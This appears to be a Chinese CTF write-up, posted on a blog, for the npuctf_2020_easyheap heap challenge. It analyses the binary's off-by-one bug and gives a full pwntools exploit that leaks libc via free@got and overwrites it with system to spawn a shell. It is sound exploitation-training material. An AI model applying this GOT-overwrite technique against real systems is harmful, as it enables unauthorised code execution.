npuctf_2020_easyheap

npuctf_2020_easyheap

使用checksec查看:
在这里插入图片描述

开启了Canary和栈不可执行,没有开启PIE。

先运行一下看看:在这里插入图片描述
OK,菜单出来了,堆题,放进IDA中分析:
在这里插入图片描述
很标准很标准的主函数,接下来一个一个模块进行分析:

create()
在这里插入图片描述

  • heaparray[i] = malloc(0x10uLL):程序在创建用户申请的chunk时,会先创建一个0x10大小的chunk
  • if ( size != 24 && size != 56 ):用户能够创建的chunk的大小已经固定死:0x180x38
  • v0 = heaparray[i]; v0[1] = malloc(size); *heaparray[i] = size;:程序自动创建的chunk存放了用户创建的chunk的size和address

edit()
在这里插入图片描述

  • read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);:off-by-one

delete()
在这里插入图片描述

  • heaparray[v1] = 0LL;:指针置0了,没啥问题

show()
在这里插入图片描述

  • printf("Size : %ld\nContent : %s\n", *heaparray[(signed int)v1], heaparray[(signed int)v1][1], v1);:从程序自动创建的chunk中定位所需要输出的内容,输出的内容是用户创建的chunk的size和内容

题目思路

  • 存在off-by-one,可以用来覆盖下一个chunk的size位置
  • 用户只能创建0x180x38size的chunk
  • name_chunk里面存了chunk的地址,目标就是这个地址
  • 修改这个地址为free@got泄露出libc
  • 计算出system@got,将free@got替换为system@got
  • 将某个chunk的内容设为/bin/sh\x00
  • 执行free(chunk)就相当于执行system('/bin/sh')

步骤解析

首先创建两个0x18大小的chunk

在这里插入图片描述

红框处存放的就是chunk1的地址,执行show()的时候,就是从该地址取值的,如果将该地址修改为free@got,执行show()的时候就会泄露出free的真实地址。

因为存在off-by-one,修改chunk0的时候可以修改到name_chunk1的size位,将这个位置修改为0x41,可以刚好覆盖到name_chunk1和chunk1

在这里插入图片描述

再将chunk1 free掉,重新申请一块0x38大小的chunk

这里用的payload是payload = b'M'*0x20 + p64(0x38) + p64(elf.got['free'])

解释下,delete()时先free的是chunk1,再free的name_chunk1,create()时先申请的是程序自动创建的chunk,所以最后如下图所示:

在这里插入图片描述

修改新chunk即可修改新chunk的name_chunk

name_chunk里存放了chunk的地址,将该地址修改为free@got进行show()操作即可泄露libc

在这里插入图片描述

得到地址后,计算出system@got将free@got覆盖为system@got

执行free即是执行system(’/bin/sh’)

完整exp

from re import A
from pwn import *

#start
# r = remote("node4.buuoj.cn",28759)
r = process("../buu/npuctf_2020_easyheap")
elf = ELF("../buu/npuctf_2020_easyheap")
libc = ELF("../buu/ubuntu18(64).so")

def add(size, content):
    r.sendlineafter("Your choice :",'1')
    r.sendlineafter("only) : ",str(size))
    r.sendlineafter("Content:",content)

def edit(idx, content):
	r.sendlineafter("Your choice :",'2')
	r.sendlineafter("Index :",str(idx))
	r.recvuntil("Content: ")
	r.send(content)


def show(idx):
    r.sendlineafter("Your choice :",'3')
    r.sendlineafter("Index :",str(idx))

def delete(idx):
	r.sendlineafter("Your choice :",'4')
	r.sendlineafter("Index :",str(idx))

add(0x18,"MMMM")
add(0x18,"MMMM")
# gdb.attach(r)

payload = b'/bin/sh\x00' + b'M'*0x10 + b'\x41'
edit(0,payload)
# gdb.attach(r)
delete(1)

payload = b'M'*0x20 + p64(0x38) + p64(elf.got['free'])
add(0x38,payload)
# gdb.attach(r)

show(1)
free_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1,p64(system_addr))
gdb.attach(r)
delete(0)

r.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值